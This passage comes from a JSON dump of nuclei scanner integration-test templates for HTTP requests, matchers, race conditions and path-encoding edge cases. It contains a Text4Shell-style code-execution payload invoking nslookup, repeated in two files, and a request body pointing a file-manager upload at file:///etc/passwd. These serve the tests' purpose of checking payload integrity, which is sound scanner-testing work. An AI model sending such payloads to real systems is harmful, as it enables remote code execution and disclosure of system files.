{{trim_prefix(\"aaHelloaa\", \"aa\")}}\n        66: {{trim_right(\"aaaHelloddd\", \"ad\")}}\n        67: {{trim_space(\"  Hello  \")}}\n        68: {{trim_suffix(\"aaHelloaa\", \"aa\")}}\n        69: {{unix_time(10)}}\n        70: {{url_decode(\"https:%2F%2Fprojectdiscovery.io%3Ftest=1\")}}\n        71: {{url_encode(\"https://projectdiscovery.io/test?a=1\")}}\n        72: {{wait_for(1)}}\n        73: {{zlib(\"Hello\")}}\n        74: {{zlib_decode(hex_decode(\"789cf248cdc9c907040000ffff058c01f5\"))}}\n        75: {{hex_encode(aes_gcm(\"AES256Key-32Characters1234567890\", \"exampleplaintext\"))}}\n        76: {{starts_with(\"Hello\", \"He\")}}\n        77: {{ends_with(\"Hello\", \"lo\")}}\n        78: {{line_starts_with(\"Hi\\nHello\", \"He\")}}\n        79: {{line_ends_with(\"Hello\\nHi\", \"lo\")}}\n        80: {{sort(\"a1b2c3d4e5\")}}\n        81: {{uniq(\"abcabdaabbccd\")}}\n        82: {{join(\" \", sort(\"b\", \"a\", \"2\", \"c\", \"3\", \"1\", \"d\", \"4\"))}}\n        83: {{join(\" \", uniq(\"ab\", \"cd\", \"12\", \"34\", \"12\", \"cd\"))}}\n        84: {{split(\"ab,cd,efg\", \",\")}}\n        85: {{split(\"ab,cd,efg\", \",\", 2)}}\n        86: {{ip_format('127.0.0.1', 3)}}\n        87: {{ip_format('127.0.1.0', 11)}}\n        88: {{jarm('scanme.sh:443')}}\n    extractors:\n      - type: regex\n        name: results\n        regex:\n          - '\\d+: [^\\s]+'\n"
  },
  {
    "path": "integration_tests/protocols/http/dsl-matcher-variable.yaml",
    "content": "id: dsl-matcher-variable\n\ninfo:\n  name: dsl-matcher-variable\n  author: pd-team\n  severity: info\n\nhttp: \n  - \n    path: \n      - \"{{BaseURL}}\"\n    payloads: \n      VALUES: \n        - This\n        - is\n        - test\n        - matcher\n        - text\n    matchers: \n      - \n        dsl: \n          - 'contains(body,\"{{VALUES}}\")'\n        type: dsl"
  },
  {
    "path": "integration_tests/protocols/http/get-all-ips.yaml",
    "content": "id: get-all-ips\n\ninfo:\n  name: Basic GET Request on all IPS\n  author: pdteam\n  severity: info\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n    matchers:\n      - type: word\n        words:\n          - \"ok\""
  },
  {
    "path": "integration_tests/protocols/http/get-case-insensitive.yaml",
    "content": "id: basic-get-case-insensitive\n\ninfo:\n  name: Basic GET Request\n  author: pdteam\n  severity: info\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n    matchers:\n      - type: word\n        case-insensitive: true\n        words:\n          - \"ThIS is TEsT MAtcHEr TExT\"\n"
  },
  {
    "path": "integration_tests/protocols/http/get-headers.yaml",
    "content": "id: basic-get-headers\n\ninfo:\n  name: Basic GET Headers Request\n  author: pdteam\n  severity: info\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n    headers:\n      test: nuclei\n    matchers:\n      - type: word\n        words:\n          - \"This is test headers matcher text\""
  },
  {
    "path": "integration_tests/protocols/http/get-host-redirects.yaml",
    "content": "id: basic-get-host-redirects\n\ninfo:\n  name: Basic GET Host Redirects Request\n  author: pdteam\n  severity: info\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n    host-redirects: true\n    max-redirects: 3\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code==307\""
  },
  {
    "path": "integration_tests/protocols/http/get-override-sni.yaml",
    "content": "id: basic-raw-http-example\n\ninfo:\n  name: Test RAW GET Template\n  author: pdteam\n  severity: info\n\nhttp:\n  - raw:\n      - |\n        @tls-sni:request.host\n        GET / HTTP/1.1\n        Host: test\n\n    matchers:\n      - type: word\n        words:\n          - \"test-ok\""
  },
  {
    "path": "integration_tests/protocols/http/get-query-string.yaml",
    "content": "id: basic-get-querystring\n\ninfo:\n  name: Basic GET QueryString Request\n  author: pdteam\n  severity: info\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}?test=nuclei\"\n    matchers:\n      - type: word\n        words:\n          - \"This is test querystring matcher text\""
  },
  {
    "path": "integration_tests/protocols/http/get-redirects-chain-headers.yaml",
    "content": "id: basic-get-redirects-chain-headers\n\ninfo:\n  name: Basic GET Redirects Request With Chain header\n  author: pdteam\n  severity: info\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n    redirects: true\n    max-redirects: 3\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: header\n        words:\n          - \"TestRedirectHeaderMatch\"\n\n      - type: status\n        status:\n          - 302"
  },
  {
    "path": "integration_tests/protocols/http/get-redirects.yaml",
    "content": "id: basic-get-redirects\n\ninfo:\n  name: Basic GET Redirects Request\n  author: pdteam\n  severity: info\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n    redirects: true\n    max-redirects: 3\n    matchers:\n      - type: word\n        words:\n          - \"This is test redirects matcher text\""
  },
  {
    "path": "integration_tests/protocols/http/get-sni-unsafe.yaml",
    "content": "id: basic-unsafe-get\n\ninfo:\n  name: Basic Unsafe GET Request with CLI SNI\n  author: pdteam\n  severity: info\n\nhttp:\n  - raw:\n      - |+\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    unsafe: true\n    matchers:\n      - type: word\n        words:\n          - \"test-ok\""
  },
  {
    "path": "integration_tests/protocols/http/get-sni.yaml",
    "content": "id: basic-get-sni\n\ninfo:\n  name: Basic GET Request with CLI SNI\n  author: pdteam\n  severity: info\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n    matchers:\n      - type: word\n        words:\n          - \"test-ok\""
  },
  {
    "path": "integration_tests/protocols/http/get-without-scheme.yaml",
    "content": "id: get-without-scheme\n\ninfo:\n  name: Basic GET Request without scheme\n  author: pdteam\n  severity: info\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n    matchers:\n      - type: word\n        words:\n          - \"ok\""
  },
  {
    "path": "integration_tests/protocols/http/get.yaml",
    "content": "id: basic-get\n\ninfo:\n  name: Basic GET Request\n  author: pdteam\n  severity: info\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n    matchers:\n      - type: word\n        words:\n          - \"This is test matcher text\""
  },
  {
    "path": "integration_tests/protocols/http/http-matcher-extractor-dy-extractor.yaml",
    "content": "id: http-matcher-extractor-dy-extractor\ninfo:\n  name: HTTP matcher and extractor & dynamic extractor\n  description: >\n    Edgecase to test for a combination of matchers , extractors and dynamic extractors\n  author: pdteam\n  severity: info\n\nhttp:\n  - raw:\n      - |\n        GET {{BaseURL}} HTTP/1.1\n      - |\n        GET {{absolutePath}} HTTP/1.1\n\n    req-condition: true\n    extractors:\n      - type: regex\n        internal: true\n        part: body_1\n        name: absolutePath\n        regex:\n          - '<a href=\"(/domains)\">'\n        group: 1\n      - type: regex\n        internal: false\n        part: body_2\n        name: title\n        regex:\n          - '<title[^>]*>([^<]+)</title>'\n        group: 1\n    matchers:\n      - type: regex\n        part: body_2\n        regex:\n          - '<title[^>]*>([^<]+)</title>'"
  },
  {
    "path": "integration_tests/protocols/http/http-paths.yaml",
    "content": "id: http-paths\n\ninfo:\n  name: Test Http Path Edgecases\n  author: pd-team\n  severity: info\n  description: >\n    - https://github.com/projectdiscovery/nuclei/pull/3211\n    - https://github.com/projectdiscovery/nuclei/pull/3127\n  reference:\n    # adding expected results here for context and debugging\n    - \"/1337?with=param\"\n    - \"/some%0A/%0D\"\n    - \"/%73%6f%6d%65%0A/%0D\"\n    - \"/%00test%20\"\n    - \"/text4shell/attack?search=$%7bscript:javascript:java.lang.Runtime.getRuntime().exec('nslookup%20{}.getparam')%7d\"\n    - \"/test/..;/..;/\"\n    - \"/xyz/%25u2s/%25invalid\"\n    - \"//CFIDE/wizards/common/utils.cfc\"\n    # duplicating here because same results are expected even if http request is written in different format\n    - \"/1337?with=param\"\n    - \"/some%0A/%0D\"\n    - \"/%73%6f%6d%65%0A/%0D\"\n    - \"/%00test%20\"\n    - \"/text4shell/attack?search=$%7bscript:javascript:java.lang.Runtime.getRuntime().exec('nslookup%20{}.getparam')%7d\"\n    - \"/test/..;/..;/\"\n    - \"/xyz/%25u2s/%25invalid\"\n    - \"//CFIDE/wizards/common/utils.cfc\"\n\n# Test all templates with FullURLs\nhttp:\n  - raw:\n    # relative path without leading slash with param\n    # If relative path does not have `/` prefix it is autocorrected \n      - |+\n        GET 1337?with=param HTTP/1.1 \n        Host: scanme.sh\n    # url encoded characters in path\n      - |+\n        GET /some%0A/%0D HTTP/1.1\n        Host: scanme.sh\n    # percent encoded characters in path\n    # In URL encoding only key characters are encoded \n    # while in percent encoding all characters are url encoded (similar to burp decoder)\n      - |+\n        GET /%73%6f%6d%65%0A/%0D HTTP/1.1\n        Host: scanme.sh\n    # test null and % chars in path\n      - |+\n        GET /%00test%20 HTTP/1.1\n        Host: scanme.sh\n    # test payload integrity in parameter\n      - |+\n        GET /text4shell/attack?search=$%7bscript:javascript:java.lang.Runtime.getRuntime().exec('nslookup%20{}.getparam')%7d HTTP/1.1\n        Host: scanme.sh\n    # test for missing trailing slash\n      - |+\n        GET /test/..;/..;/ HTTP/1.1\n        Host: scanme.sh\n        Origin: {{BaseURL}}\n    # test relative path with invalid/corrupted characters\n    # In such case instead of error or panic nuclei escaped unsupported character (i.e /xyz/%25u2s/%25invalid)\n    # if template requires this condition to not escape unsupported characters. It can only be done in unsafe raw requests\n      - |+\n        GET /xyz/%u2s/%invalid HTTP/1.1\n        Host: scanme.sh\n    # test relative path start with //\n      - |+\n        GET //CFIDE/wizards/common/utils.cfc HTTP/1.1\n        Host: scanme.sh\n\n    matchers:\n      - type: status\n        status:\n          - 200\n  # Same testcases as mentioned above but in path based request format\n  - method: GET\n    path:\n     - \"{{BaseURL}}/1337?with=param\"\n     - \"{{BaseURL}}/some%0A/%0D\"\n     - \"{{BaseURL}}/%73%6f%6d%65%0A/%0D\"\n     - \"{{BaseURL}}/%00test%20\"\n     - \"{{BaseURL}}/text4shell/attack?search=$%7bscript:javascript:java.lang.Runtime.getRuntime().exec('nslookup%20{}.getparam')%7d\"\n     - \"{{BaseURL}}/test/..;/..;/\"\n     - \"{{BaseURL}}/xyz/%u2s/%invalid\"\n     - \"{{BaseURL}}//CFIDE/wizards/common/utils.cfc\"\n\n    matchers:\n    - type: status\n      status:\n        - 200\n"
  },
  {
    "path": "integration_tests/protocols/http/http-preprocessor.yaml",
    "content": "id: http-preprocessor\n\ninfo:\n  name: Test Http Preprocessor\n  author: pdteam\n  severity: info\n\nhttp:\n  - raw:\n      - |\n        GET /?test={{randstr}} HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: status\n        status:\n          - 200"
  },
  {
    "path": "integration_tests/protocols/http/interactsh-requests-mc-and.yaml",
    "content": "id: interactsh-requests-mc-and\n\ninfo:\n  name: interactsh multi request matcher condition\n  author: pdteam\n  severity: info\n\nhttp:\n  - raw:\n      - |\n        GET /api/geoping/{{interactsh-url}} HTTP/1.1\n        Host: {{Hostname}}\n\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol  # Confirms the DNS Interaction\n        words:\n          - \"dns\"\n\n      - type: dsl\n        dsl:\n          - \"status_code_2 == 200\""
  },
  {
    "path": "integration_tests/protocols/http/interactsh-stop-at-first-match.yaml",
    "content": "id: interactsh-stop-at-first-match-integration-test\n\ninfo:\n  name: Interactsh StopAtFirstMatch Integration Test\n  author: pdteam\n  severity: info\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/?a=1\"\n      - \"{{BaseURL}}/?a=2\"\n      - \"{{BaseURL}}/?a=3\"\n      - \"{{BaseURL}}/?a=4\"\n      - \"{{BaseURL}}/?a=5\"\n      - \"{{BaseURL}}/?a=6\"\n      - \"{{BaseURL}}/?a=7\"\n      - \"{{BaseURL}}/?a=8\"\n      - \"{{BaseURL}}/?a=9\"\n    headers:\n      url: 'http://{{interactsh-url}}'\n\n    stop-at-first-match: true\n\n    matchers:\n      - type: word\n        part: interactsh_protocol # Confirms DNS Interaction\n        words:\n          - \"dns\""
  },
  {
    "path": "integration_tests/protocols/http/interactsh-with-payloads.yaml",
    "content": "id: interactsh-with-payloads\n\ninfo:\n  name: Interactsh With Payloads Integration Test\n  author: dwisiswant0\n  severity: info\n  tags: test\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/?p={{p}}\"\n    headers:\n      url: 'http://{{interactsh-url}}'\n    payloads:\n      p:\n        - a\n        - b\n        - c\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"dns\"\n"
  },
  {
    "path": "integration_tests/protocols/http/interactsh.yaml",
    "content": "id: interactsh-integration-test\n\ninfo:\n  name: Interactsh Integration Test\n  author: pdteam\n  severity: info\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n    headers:\n      url: 'http://{{interactsh-url}}'\n\n    matchers:\n      - type: word\n        part: interactsh_protocol # Confirms the HTTP Interaction\n        words:\n          - \"dns\""
  },
  {
    "path": "integration_tests/protocols/http/matcher-status-and-cluster.yaml",
    "content": "id: matcher-status-and-cluster\n\ninfo:\n  name: Test Matcher Status AND Condition Cluster\n  author: pdteam\n  severity: info\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/\"\n\n    stop-at-first-match: true\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"this_will_also_never_match\"\n\n      - type: status\n        status:\n          - 200\n"
  },
  {
    "path": "integration_tests/protocols/http/matcher-status-and.yaml",
    "content": "id: matcher-status-and\n\ninfo:\n  name: Test Matcher Status AND Condition\n  author: pdteam\n  severity: info\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/\"\n\n    stop-at-first-match: true\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"this_will_never_match_anything\"\n\n      - type: status\n        status:\n          - 200\n"
  },
  {
    "path": "integration_tests/protocols/http/matcher-status.yaml",
    "content": "id: matcher-status\n\ninfo:\n  name: Test Matcher Status\n  author: pdteam\n  severity: critical\n\nvariables:\n  username: test\n  password: admin\n  date: 2023-05-31\n\nhttp:\n  - method: GET\n    path:\n      - \"{{RootURL}}/login?username={{username}}&password={{password}}\"\n      - \"{{BaseURL}}/admin-pannel\"\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/dashboard?date={{date}}\"\n      - \"{{BaseURL}}/signup\"\n  \n  - method: POST\n    path:\n      - \"{{BaseURL}}/filemanager/upload.php\"\n    body: \"fldr=&url=file:///etc/passwd\"\n\n\n    stop-at-first-match: true\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"matcher status\"\n\n      - type: status\n        status:\n          - 200\n"
  },
  {
    "path": "integration_tests/protocols/http/multi-http-var-sharing.yaml",
    "content": "id: multi-http-var-sharing\n\ninfo:\n  name: Multi HTTP var sharing\n  author: pdteam\n  severity: info\n  description: |\n    A template which has multiple HTTP requests block and variables are shared between them\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n\n    matchers:\n      - type: word\n        words:\n          - \"This is test matcher text\"\n        negative: true\n        internal: true\n\n    extractors:\n      - type: dsl\n        name: ffff\n        dsl:\n          - status_code\n        internal: true\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/{{ffff}}\"\n    \n    matchers:\n      - type: status\n        status: \n          - 200"
  },
  {
    "path": "integration_tests/protocols/http/multi-request.yaml",
    "content": "id: http-multi-request\n\ninfo:\n  name: http multi request template\n  author: pdteam\n  severity: info\n  description: template with multiple http request with combined logic\n  reference: https://example-reference-link\n\n# requestURI is reflected back as response body here\nhttp:\n  - raw:\n      - |\n        GET /ping HTTP/1.1\n        Host: {{Hostname}}\n     \n      - |\n        GET /pong HTTP/1.1\n        Host: {{Hostname}}\n    \n    matchers:\n        - type: dsl\n          dsl:\n            - 'body_1 == \"ping\"'\n            - 'body_2 == \"pong\"'\n          condition: and"
  },
  {
    "path": "integration_tests/protocols/http/post-body.yaml",
    "content": "id: basic-post-body\n\ninfo:\n  name: Basic POST Body Request\n  author: pdteam\n  severity: info\n\nhttp:\n  - method: POST\n    path:\n      - \"{{BaseURL}}\"\n    headers: \n      Content-Type: application/x-www-form-urlencoded\n      Content-Length: 1 # as long as there is a value, nuclei will auto-recalculate it.\n    body: username=test&password=nuclei\n    matchers:\n      - type: word\n        words:\n          - \"This is test post-body matcher text\""
  },
  {
    "path": "integration_tests/protocols/http/post-json-body.yaml",
    "content": "id: basic-post-json-body\n\ninfo:\n  name: Basic POST JSON Body Request\n  author: pdteam\n  severity: info\n\nhttp:\n  - method: POST\n    path:\n      - \"{{BaseURL}}\"\n    headers: \n      Content-Type: application/json\n      Content-Length: 1\n    body: '{\"username\":\"test\",\"password\":\"nuclei\"}'\n    matchers:\n      - type: word\n        words:\n          - \"This is test post-json-body matcher text\""
  },
  {
    "path": "integration_tests/protocols/http/post-multipart-body.yaml",
    "content": "id: basic-post-multipart-body\n\ninfo:\n  name: Basic POST Multipart Request\n  author: pdteam\n  severity: info\n\nhttp:\n  - method: POST\n    path:\n      - \"{{BaseURL}}\"\n    headers: \n      Content-Type: multipart/form-data; boundary=d64a5c6be2120f494d87b096fff6efe6d3248474d4de2debb1d387b3d8e8\n      Content-Length: 1\n    body: |\n      --d64a5c6be2120f494d87b096fff6efe6d3248474d4de2debb1d387b3d8e8\n      Content-Disposition: form-data; name=\"username\"; filename=\"username\"\n      Content-Type: application/octet-stream\n\n      test\n      --d64a5c6be2120f494d87b096fff6efe6d3248474d4de2debb1d387b3d8e8\n      Content-Disposition: form-data; name=\"password\"\n\n      nuclei\n      --d64a5c6be2120f494d87b096fff6efe6d3248474d4de2debb1d387b3d8e8--\n    matchers:\n      - type: word\n        words:\n          - \"This is test post-multipart matcher text\""
  },
  {
    "path": "integration_tests/protocols/http/race-condition-with-delay.yaml",
    "content": "id: race-condition-with-delay\n\ninfo:\n  name: Race Condition Testing with Delay\n  author: pdteam\n  severity: info\n  description: |\n    Test race condition handling with induced server delay.\n  tags: test\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    threads: 2\n    race: true\n    matchers:\n      - type: status\n        status: \n          - 200\n"
  },
  {
    "path": "integration_tests/protocols/http/race-multiple.yaml",
    "content": "id: race-condition-testing\n\ninfo:\n  name: Race condition testing with multiple requests\n  author: pdteam\n  severity: info\n\nhttp:\n  - raw:  \n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n        id=1\n\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n        id=2\n\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n        id=3\n\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n        id=4\n\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n        id=5\n\n    threads: 5\n    race: true\n\n    matchers:\n      - type: status\n        status:\n          - 200"
  },
  {
    "path": "integration_tests/protocols/http/race-simple.yaml",
    "content": "id: race-condition-testing\n\ninfo:\n  name: Race Condition testing\n  author: pdteam\n  severity: info\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n        test      \n\n    race: true\n    race_count: 10\n\n    matchers:\n      - type: status\n        part: header\n        status:\n          - 200"
  },
  {
    "path": "integration_tests/protocols/http/race-with-variables.yaml",
    "content": "id: race-with-variables\n\ninfo:\n  name: Race Condition with Variables\n  author: pdteam\n  severity: info\n  description: |\n    Test that variables and constants are properly resolved in race mode.\n\nvariables:\n  random_id: \"{{rand_base(8)}}\"\n\nconstants:\n  api_key: \"racekey123\"\n\nhttp:\n  - raw:\n      - |\n        GET /race HTTP/1.1\n        Host: {{Hostname}}\n        X-Request-Id: {{random_id}}\n        X-API-Key: {{api_key}}\n\n    race: true\n    race_count: 3\n\n    matchers:\n      - type: word\n        words:\n          - \"racekey123\"\n"
  },
  {
    "path": "integration_tests/protocols/http/raw-cookie-reuse.yaml",
    "content": "id: cookiereuse-raw-example\ninfo:\n  name: Test Cookie Reuse RAW Template\n  author: pdteam\n  severity: info\n\nhttp:\n  - raw:\n      - |\n        POST / HTTP/1.1\n        Host: {{Hostname}}\n        Origin: {{BaseURL}}\n        Connection: close\n        Content-Type: application/x-www-form-urlencoded\n        Content-Length: 1\n        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)\n        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\n        Accept-Language: en-US,en;q=0.9\n\n        testing=parameter\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n        Origin: {{BaseURL}}\n        Connection: close\n        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)\n        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\n        Accept-Language: en-US,en;q=0.9\n        \n    matchers:\n      - type: word\n        words:\n          - \"Test is test-cookie-reuse matcher text\""
  },
  {
    "path": "integration_tests/protocols/http/raw-dynamic-extractor.yaml",
    "content": "id: dynamic-extractor-raw-example\n\ninfo:\n  name: Test Dynamic Extractor RAW Template\n  author: pdteam\n  severity: info\n\nhttp:\n  - raw:\n      - |\n        POST / HTTP/1.1\n        Host: {{Hostname}}\n        Origin: {{BaseURL}}\n        Connection: close\n        Content-Type: application/x-www-form-urlencoded\n        Content-Length: 1\n        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)\n        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\n        Accept-Language: en-US,en;q=0.9\n\n        testing=parameter\n      - |\n        GET /?username={{randkey}} HTTP/1.1\n        Host: {{Hostname}}\n        Origin: {{BaseURL}}\n        Connection: close\n        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)\n        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\n        Accept-Language: en-US,en;q=0.9\n    extractors:\n      - type: regex\n        name: randkey\n        part: body\n        group: 1\n        internal: true\n        regex:\n          - \"Token: '([A-Za-z0-9]+)'\"\n\n    matchers:\n      - type: word\n        words:\n          - \"Test is test-dynamic-extractor-raw matcher text\""
  },
  {
    "path": "integration_tests/protocols/http/raw-get-query.yaml",
    "content": "id: basic-raw-query-example\n\ninfo:\n  name: Test RAW GET Query Template\n  author: pdteam\n  severity: info\n\nhttp:\n  - raw:\n      - |\n        GET ?test=nuclei HTTP/1.1\n        Host: {{Hostname}}\n        Origin: {{BaseURL}}\n\n    matchers:\n      - type: word\n        words:\n          - \"Test is test raw-get-query-matcher text\""
  },
  {
    "path": "integration_tests/protocols/http/raw-get.yaml",
    "content": "id: basic-raw-http-example\n\ninfo:\n  name: Test RAW GET Template\n  author: pdteam\n  severity: info\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n        Origin: {{BaseURL}}\n\n    matchers:\n      - type: word\n        words:\n          - \"Test is test raw-get-matcher text\""
  },
  {
    "path": "integration_tests/protocols/http/raw-path-single-slash.yaml",
    "content": "id: raw-path-single-slash\n\ninfo:\n  name: Test RAW HTTP Template with single slash\n  author: pdteam\n  severity: info\n\nrequests:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n        Origin: {{BaseURL}}"
  },
  {
    "path": "integration_tests/protocols/http/raw-path-trailing-slash.yaml",
    "content": "id: raw-path-trailing-slash\n\ninfo:\n  name: Test RAW HTTP Template with trailing slash\n  author: pdteam\n  severity: info\n\nhttp:\n  - raw:\n      - |\n        GET /test/..;/..;/ HTTP/1.1\n        Host: {{Hostname}}\n        Origin: {{BaseURL}}"
  },
  {
    "path": "integration_tests/protocols/http/raw-payload.yaml",
    "content": "id: payload-raw-example\ninfo:\n  name: Test RAW With Payload Template\n  author: pdteam\n  severity: info\n\nhttp:\n  - payloads:\n      username:\n        - test\n      password:\n        - nuclei\n        - guest\n    attack: clusterbomb\n    raw:\n      - |\n        POST / HTTP/1.1\n        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5)\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        Content-Length: 1\n        another_header: {{base64('§password§')}}\n        Accept: */*\n\n        username=§username§&password={{password}}\n    matchers:\n      - type: word\n        words:\n          - \"Test is raw-payload matcher text\""
  },
  {
    "path": "integration_tests/protocols/http/raw-post-body.yaml",
    "content": "id: basic-raw-http-body-example\n\ninfo:\n  name: Test RAW POST Template\n  author: pdteam\n  severity: info\n\nhttp:\n  - raw:\n      - |\n        POST / HTTP/1.1\n        Host: {{Hostname}}\n        Origin: {{BaseURL}}\n        Content-Type: application/x-www-form-urlencoded\n        Content-Length: 1\n\n        username=test&password=nuclei\n    matchers:\n      - type: word\n        words:\n          - \"Test is test raw-post-body-matcher text\""
  },
  {
    "path": "integration_tests/protocols/http/raw-unsafe-path-single-slash.yaml",
    "content": "id: raw-unsafe-path-single-slash\n\ninfo:\n  name: Test RAW Unsafe HTTP Template with single slash\n  author: pdteam\n  severity: info\n\nrequests:\n  - raw:\n      - |+\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n        Origin: {{BaseURL}}\n    \n    unsafe: true"
  },
  {
    "path": "integration_tests/protocols/http/raw-unsafe-path.yaml",
    "content": "id: raw-unsafe-path\n\ninfo:\n  name: Test RAW Unsafe Paths\n  author: pd-team\n  severity: info\n  description: >\n    - https://github.com/projectdiscovery/nuclei/pull/3211\n    - https://github.com/projectdiscovery/nuclei/pull/3127\n  reference:\n    # adding expected results here for context and debugging\n    - \"1337\"\n    - \"1337?with=param\"\n    - \"/some%0A/%0D\"\n    - \"/%20test%0a\"\n    - \"/text4shell/attack?search=$%7bscript:javascript:java.lang.Runtime.getRuntime().exec('nslookup%20{}.getparam')%7d\"\n    - \"/test/..;/..;/\"\n    - \"/xyz/%u2s/%invalid\"\n    - \"//CFIDE/wizards/common/utils.cfc\"\n\n\n# Test all unsafe URL Handling Edgecases\nhttp:\n  - raw:\n    # relative path without leading slash\n      - |+\n        GET 1337 HTTP/1.1 \n        Host: scanme.sh\n    # same but with param\n      - |+\n        GET 1337?with=param HTTP/1.1 \n        Host: scanme.sh\n    # url encoded characters in path\n      - |+\n        GET /some%0A/%0D HTTP/1.1\n        Host: scanme.sh\n    # test unsupported  chars in path\n      - |+\n        GET /%20test%0a HTTP/1.1\n        Host: scanme.sh\n    # test payload integrity params\n      - |+\n        GET /text4shell/attack?search=$%7bscript:javascript:java.lang.Runtime.getRuntime().exec('nslookup%20{}.getparam')%7d HTTP/1.1\n        Host: scanme.sh\n    # test for missing trailing slash\n      - |+\n        GET /test/..;/..;/ HTTP/1.1\n        Host: scanme.sh\n        Origin: {{BaseURL}}\n    # test relative path with invalid/corrupted characters\n      - |+\n        GET /xyz/%u2s/%invalid HTTP/1.1\n        Host: scanme.sh\n    # test relative path start with // (should not be removed)\n      - |+\n        GET //CFIDE/wizards/common/utils.cfc HTTP/1.1\n        Host: scanme.sh\n\n    unsafe: true\n    matchers:\n      - type: status\n        status:\n          - 200\n"
  },
  {
    "path": "integration_tests/protocols/http/raw-unsafe-request.yaml",
    "content": "id: basic-raw-unsafe-request-example\n\ninfo:\n  name: Test RAW Unsafe Request Template\n  author: pd-team\n  severity: info\n\nhttp:\n  - raw:\n      - |+\n        GET / HTTP/1.1\n        Host: \n        Content-Length: 4\n\n    unsafe: true\n    matchers-condition: and\n    matchers:\n      - type: word\n        words:\n          - \"This is test raw-unsafe-matcher test\""
  },
  {
    "path": "integration_tests/protocols/http/raw-unsafe-with-params.yaml",
    "content": "id: raw-unsafe-with-params\n\ninfo:\n  name: Test RAW unsafe with params\n  author: pdteam\n  severity: info\n# this test is used to check automerge of params in both unsafe & safe requests\n# key1=value1 is added from inputURL\n\nhttp:\n  - raw:\n      - |+\n        GET /?key2=value2 HTTP/1.1\n        Host: {{Hostname}}\n\n    unsafe: true\n    matchers:\n      - type: word\n        words:\n          - \"Test is test raw-params-matcher text\""
  },
  {
    "path": "integration_tests/protocols/http/raw-with-params.yaml",
    "content": "id: raw-with-params\n\ninfo:\n  name: Test RAW Params Template\n  author: pdteam\n  severity: info\n# this test is used to check automerge of params in both unsafe & safe requests\n# key1=value1 is added from inputURL\n\nhttp:\n  - raw:\n      - |\n        GET /?key2=value2 HTTP/1.1\n        Host: {{Hostname}}\n        Origin: {{BaseURL}}\n\n    matchers:\n      - type: word\n        words:\n          - \"Test is test raw-params-matcher text\""
  },
  {
    "path": "integration_tests/protocols/http/redirect-match-url.yaml",
    "content": "id: redirect-match-url\n\ninfo:\n  name: Redirect Match URL\n  author: pdteam\n  severity: info\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n    stop-at-first-match: true # Confirm stop-at-first-match\n    redirects: true # Confirm redirected URL matched value\n    max-redirects: 3\n    matchers:\n      - type: word\n        words:\n          - \"This is test redirects matcher text\""
  },
  {
    "path": "integration_tests/protocols/http/request-condition-new.yaml",
